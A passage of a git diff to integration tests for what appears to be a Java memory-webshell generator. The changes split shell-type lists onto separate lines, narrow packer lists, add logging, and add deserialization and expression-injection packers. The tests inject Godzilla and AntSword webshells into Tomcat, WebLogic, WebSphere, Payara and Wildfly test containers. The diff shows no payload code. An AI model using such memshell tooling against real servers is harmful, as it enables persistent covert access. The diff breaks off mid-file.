b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara5201ContainerTest.java @@ -51,16 +51,20 @@ public class Payara5201ContainerTest { static Stream casesProvider() { String server = Server.GlassFish; List supportedShellTypes = List.of( - ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, - ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE + ShellType.FILTER, + ShellType.LISTENER, + ShellType.VALVE, + ShellType.AGENT_FILTER_CHAIN, + ShellType.CATALINA_AGENT_CONTEXT_VALVE ); - List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize, Packers.ScriptEngine); + List testPackers = List.of(Packers.JSP); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); } @AfterAll static void tearDown() { String logs = container.getLogs(); + log.info(logs); assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara520225ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara520225ContainerTest.java index 4fae4e5c..ddcd5014 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara520225ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara520225ContainerTest.java @@ -51,16 +51,20 @@ public class Payara520225ContainerTest { static Stream casesProvider() { String server = Server.GlassFish; List supportedShellTypes = List.of( - ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, - ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE + ShellType.FILTER, + ShellType.LISTENER, + ShellType.VALVE, + ShellType.AGENT_FILTER_CHAIN, + ShellType.CATALINA_AGENT_CONTEXT_VALVE ); - List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize, Packers.ScriptEngine); + List testPackers = List.of(Packers.JSP); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); } @AfterAll static void tearDown() { String logs = container.getLogs(); + log.info(logs); assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara620222ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara620222ContainerTest.java index b62790bb..e1e98062 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara620222ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara620222ContainerTest.java @@ -52,16 +52,20 @@ public class Payara620222ContainerTest { static Stream casesProvider() { String server = Server.GlassFish; List supportedShellTypes = List.of( - ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE, - ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE + ShellType.JAKARTA_FILTER, + ShellType.JAKARTA_LISTENER, + ShellType.JAKARTA_VALVE, + ShellType.AGENT_FILTER_CHAIN, + ShellType.CATALINA_AGENT_CONTEXT_VALVE ); - List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); + List testPackers = List.of(Packers.JSP); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword)); } @AfterAll static void tearDown() { String logs = container.getLogs(); + log.info(logs); assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin3116ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin3116ContainerTest.java index d9556a80..30a6ed11 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin3116ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin3116ContainerTest.java @@ -52,10 +52,11 @@ public class Resin3116ContainerTest { static Stream casesProvider() { String server = Server.Resin; List supportedShellTypes = List.of( - ShellType.FILTER, ShellType.LISTENER, + ShellType.FILTER, + ShellType.LISTENER, ShellType.AGENT_FILTER_CHAIN ); - List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); + List testPackers = List.of(Packers.JSP); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin318ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin318ContainerTest.java index a7661c5a..933e25fc 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin318ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin318ContainerTest.java @@ -51,16 +51,18 @@ public class Resin318ContainerTest { static Stream casesProvider() { String server = Server.Resin; List supportedShellTypes = List.of( - ShellType.FILTER, ShellType.LISTENER, + ShellType.FILTER, + ShellType.LISTENER, ShellType.AGENT_FILTER_CHAIN ); - List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); + List testPackers = List.of(Packers.JSP); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); } @AfterAll static void tearDown() { String logs = container.getLogs(); + log.info(logs); assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin4058ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin4058ContainerTest.java index 4aa9982c..bab8ae69 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin4058ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin4058ContainerTest.java @@ -51,16 +51,18 @@ public class Resin4058ContainerTest { static Stream casesProvider() { String server = Server.Resin; List supportedShellTypes = List.of( - ShellType.FILTER, ShellType.LISTENER, + ShellType.FILTER, + ShellType.LISTENER, ShellType.AGENT_FILTER_CHAIN ); - List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); + List testPackers = List.of(Packers.JSP); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); } @AfterAll static void tearDown() { String logs = container.getLogs(); + log.info(logs); assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin4067ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin4067ContainerTest.java index ace0248c..55ade55e 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin4067ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin4067ContainerTest.java @@ -51,10 +51,11 @@ public class Resin4067ContainerTest { static Stream casesProvider() { String server = Server.Resin; List supportedShellTypes = List.of( - ShellType.FILTER, ShellType.LISTENER, + ShellType.FILTER, + ShellType.LISTENER, ShellType.AGENT_FILTER_CHAIN ); - List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); + List testPackers = List.of(Packers.JSP); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot2ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot2ContainerTest.java index 70d2e398..e749ca56 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot2ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot2ContainerTest.java @@ -57,7 +57,7 @@ static Stream casesProvider() { ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER, ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET ); - List testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64, Packers.H2JS); + List testPackers = List.of(Packers.H2JS); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat10ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat10ContainerTest.java index ef00da50..29a7310d 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat10ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat10ContainerTest.java @@ -60,7 +60,7 @@ static Stream casesProvider() { ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE ); - List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize, Packers.AgentJarWithJREAttacher, Packers.BigInteger); + List testPackers = List.of(Packers.JSP, Packers.AgentJarWithJREAttacher); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword)); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat11ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat11ContainerTest.java index 53453002..f4244b9b 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat11ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat11ContainerTest.java @@ -61,7 +61,7 @@ static Stream casesProvider() { ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE ); - List testPackers = List.of(Packers.JSP, Packers.DefineClassJSP, Packers.JSPX, Packers.AgentJarWithJREAttacher, Packers.BigInteger); + List testPackers = List.of(Packers.JSP, Packers.AgentJarWithJREAttacher); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword)); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat11JRE21ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat11JRE21ContainerTest.java index b55eaaac..b71d0860 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat11JRE21ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat11JRE21ContainerTest.java @@ -62,7 +62,7 @@ static Stream casesProvider() { ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE ); - List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.AgentJarWithJREAttacher, Packers.BigInteger); + List testPackers = List.of(Packers.JSP, Packers.AgentJarWithJREAttacher); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword)); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat5ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat5ContainerTest.java index a2417108..058859c5 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat5ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat5ContainerTest.java @@ -60,7 +60,7 @@ static Stream casesProvider() { ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE ); - List testPackers = List.of(Packers.JSP, Packers.DefineClassJSP, Packers.JavaDeserialize, Packers.AgentJarWithJDKAttacher, Packers.BigInteger); + List testPackers = List.of(Packers.JSP, Packers.AgentJarWithJDKAttacher); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat6ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat6ContainerTest.java index 0bced55e..33224731 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat6ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat6ContainerTest.java @@ -58,7 +58,7 @@ static Stream casesProvider() { ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE ); - List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize, Packers.AgentJarWithJDKAttacher, Packers.BigInteger); + List testPackers = List.of(Packers.JSP, Packers.AgentJarWithJDKAttacher); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat7ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat7ContainerTest.java index e534c5df..935b980a 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat7ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat7ContainerTest.java @@ -59,7 +59,7 @@ static Stream casesProvider() { ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE ); - List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize, Packers.AgentJarWithJREAttacher, Packers.BigInteger); + List testPackers = List.of(Packers.JSP, Packers.AgentJarWithJREAttacher); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8CommandEncryptorContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8CommandEncryptorContainerTest.java index 226b42a7..942b5077 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8CommandEncryptorContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8CommandEncryptorContainerTest.java @@ -18,8 +18,8 @@ import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; -import org.testcontainers.shaded.org.apache.commons.lang3.RandomStringUtils; -import org.testcontainers.shaded.org.apache.commons.lang3.tuple.Pair; +import org.apache.commons.lang3.RandomStringUtils; +import org.apache.commons.lang3.tuple.Pair; import java.util.Base64; import java.util.stream.Stream; @@ -78,7 +78,7 @@ void test(String imageName, String shellType, String shellTool, Packers packer) .encryptor(CommandConfig.Encryptor.DOUBLE_BASE64) .build(); - MemShellResult generateResult = ShellAssertion.generate(urlPattern, Server.Tomcat, shellType, shellTool, Opcodes.V1_8, shellToolConfig, packer); + MemShellResult generateResult = ShellAssertion.generate(urlPattern, Server.Tomcat, null, shellType, shellTool, Opcodes.V1_8, shellToolConfig, packer); ShellAssertion.packerResultAndInject(generateResult, url, shellTool, shellType, packer, container); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8ContainerTest.java index a7cb78d7..df94ab87 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8ContainerTest.java @@ -61,7 +61,7 @@ static Stream casesProvider() { ShellType.WEBSOCKET, ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE); - List testPackers = List.of(Packers.ClassLoaderJSP, Packers.DefineClassJSP, Packers.JSPX, Packers.JavaDeserialize, Packers.AgentJarWithJREAttacher, Packers.BigInteger); + List testPackers = List.of(Packers.BigInteger, Packers.AgentJarWithJREAttacher); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8DeserializeContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8DeserializeContainerTest.java index 9a0d3796..319ecc0d 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8DeserializeContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8DeserializeContainerTest.java @@ -52,7 +52,9 @@ static Stream casesProvider() { arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.HessianDeserialize), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Hessian2Deserialize), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.XMLDecoderScriptEngine), - arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.XMLDecoderDefineClass) + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.XMLDecoderDefineClass), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.ScriptEngineJar), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.XalanAbstractTransletPacker) ); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8ExpressionContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8ExpressionContainerTest.java index 6ce67813..ab92f2c3 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8ExpressionContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8ExpressionContainerTest.java @@ -43,6 +43,7 @@ public class Tomcat8ExpressionContainerTest { static Stream casesProvider() { return Stream.of( arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.EL), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.BigInteger), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.OGNLScriptEngine), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.OGNLSpringGzip), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.MVEL), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat9ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat9ContainerTest.java index 18c05342..49673895 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat9ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat9ContainerTest.java @@ -59,7 +59,7 @@ static Stream casesProvider() { ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE ); - List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize, Packers.AgentJarWithJREAttacher, Packers.BigInteger); + List testPackers = List.of(Packers.JSP, Packers.AgentJarWithJREAttacher); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/weblogic/WebLogic1036ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/weblogic/WebLogic1036ContainerTest.java index 441e9896..88e8447a 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/weblogic/WebLogic1036ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/weblogic/WebLogic1036ContainerTest.java @@ -49,7 +49,9 @@ public class WebLogic1036ContainerTest { static Stream casesProvider() { String server = Server.WebLogic; List supportedShellTypes = List.of( - ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, + ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER, ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT ); List testPackers = List.of(Packers.Base64); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/weblogic/WebLogic12214ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/weblogic/WebLogic12214ContainerTest.java index a881bc3a..33b8f21a 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/weblogic/WebLogic12214ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/weblogic/WebLogic12214ContainerTest.java @@ -51,7 +51,9 @@ public class WebLogic12214ContainerTest { static Stream casesProvider() { String server = Server.WebLogic; List supportedShellTypes = List.of( - ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, + ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER, ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT ); List testPackers = List.of(Packers.Base64); @@ -61,6 +63,7 @@ static Stream casesProvider() { @AfterAll static void tearDown() { String logs = container.getLogs(); + log.info(logs); assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/weblogic/WebLogic14110ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/weblogic/WebLogic14110ContainerTest.java index 2d455ccd..b52bd6ff 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/weblogic/WebLogic14110ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/weblogic/WebLogic14110ContainerTest.java @@ -51,7 +51,9 @@ public class WebLogic14110ContainerTest { static Stream casesProvider() { String server = Server.WebLogic; List supportedShellTypes = List.of( - ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, + ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER, ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT ); List testPackers = List.of(Packers.Base64); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/WebSphere855ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/WebSphere855ContainerTest.java index f5a74530..c1e38624 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/WebSphere855ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/WebSphere855ContainerTest.java @@ -54,7 +54,9 @@ public class WebSphere855ContainerTest { static Stream casesProvider() { String server = Server.WebSphere; List supportedShellTypes = List.of( - ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, + ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER, ShellType.WAS_AGENT_FILTER_MANAGER ); List testPackers = List.of(Packers.JSP); @@ -64,7 +66,7 @@ static Stream casesProvider() { @AfterAll static void tearDown() { String logs = container.getLogs(); - log.info("container stopped, logs is : {}", logs); + log.info(logs); assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/WebSphere905ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/WebSphere905ContainerTest.java index 5d43bb5c..72da856a 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/WebSphere905ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/WebSphere905ContainerTest.java @@ -54,7 +54,9 @@ public class WebSphere905ContainerTest { static Stream casesProvider() { String server = Server.WebSphere; List supportedShellTypes = List.of( - ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, + ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER, ShellType.WAS_AGENT_FILTER_MANAGER ); List testPackers = List.of(Packers.JSP); @@ -64,6 +66,7 @@ static Stream casesProvider() { @AfterAll static void tearDown() { String logs = container.getLogs(); + log.info(logs); assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere7/WebSphere700ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere7/WebSphere700ContainerTest.java index 55fc774b..4485832c 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere7/WebSphere700ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere7/WebSphere700ContainerTest.java @@ -54,7 +54,9 @@ public class WebSphere700ContainerTest { static Stream casesProvider() { String server = Server.WebSphere; List supportedShellTypes = List.of( - ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER + ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER // ShellType.WAS_AGENT_FILTER_MANAGER // fuck the env, java.lang.instrument.UnmodifiableClassException ); List testPackers = List.of(Packers.JSP); @@ -64,7 +66,7 @@ static Stream casesProvider() { @AfterAll static void tearDown() { String logs = container.getLogs(); - log.info("container stopped, logs is : {}", logs); + log.info(logs); assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly18ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly18ContainerTest.java index 86b785f8..cf5ab880 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly18ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly18ContainerTest.java @@ -51,10 +51,12 @@ public class Wildfly18ContainerTest { static Stream casesProvider() { String server = Server.Undertow; List supportedShellTypes = List.of( - ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, + ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER, ShellType.UNDERTOW_AGENT_SERVLET_HANDLER ); - List testPackers = List.of(Packers.JSP, Packers.JSPX); + List testPackers = List.of(Packers.JSP); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly23ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly23ContainerTest.java index f5b94523..e109fe2c 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly23ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly23ContainerTest.java @@ -51,10 +51,12 @@ public class Wildfly23ContainerTest { static Stream casesProvider() { String server = Server.Undertow; List supportedShellTypes = List.of( - ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, + ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER, ShellType.UNDERTOW_AGENT_SERVLET_HANDLER ); - List testPackers = List.of(Packers.JSP, Packers.JSPX); + List testPackers = List.of(Packers.JSP); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly30ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly30ContainerTest.java index e16743cb..9188703a 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly30ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly30ContainerTest.java @@ -52,10 +52,12 @@ public class Wildfly30ContainerTest { static Stream casesProvider() { String server = Server.Undertow; List supportedShellTypes = List.of( - ShellType.JAKARTA_SERVLET, ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, + ShellType.JAKARTA_SERVLET, + ShellType.JAKARTA_FILTER, + ShellType.JAKARTA_LISTENER, ShellType.UNDERTOW_AGENT_SERVLET_HANDLER ); - List testPackers = List.of(Packers.JSP, Packers.JSPX); + List testPackers = List.of(Packers.JSP); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword) // AntSword not support jakarta ); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly36ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly36ContainerTest.java index ad71873b..b0809545 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly36ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly36ContainerTest.java @@ -52,9 +52,12 @@ public class Wildfly36ContainerTest { static Stream casesProvider() { String server = Server.Undertow; List supportedShellTypes = List.of( - ShellType.JAKARTA_SERVLET, ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER + ShellType.JAKARTA_SERVLET, + ShellType.JAKARTA_FILTER, + ShellType.JAKARTA_LISTENER, + ShellType.UNDERTOW_AGENT_SERVLET_HANDLER ); - List testPackers = List.of(Packers.JSP, Packers.JSPX); + List testPackers = List.of(Packers.JSP); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword) // AntSword not support jakarta ); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly9ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly9ContainerTest.java index 4b70d1e7..35074393 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly9ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly9ContainerTest.java @@ -17,7 +17,7 @@ import org.testcontainers.images.builder.ImageFromDockerfile; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; -import org.testcontainers.shaded.org.apache.commons.lang3.tuple.Triple; +import org.apache.commons.lang3.tuple.Triple; import java.util.List; import java.util.stream.Stream; @@ -56,10 +56,12 @@ public class Wildfly9ContainerTest { static Stream casesProvider() { String server = Server.Undertow; List supportedShellTypes = List.of( - ShellType.SERVLET, ShellType.FILTER, 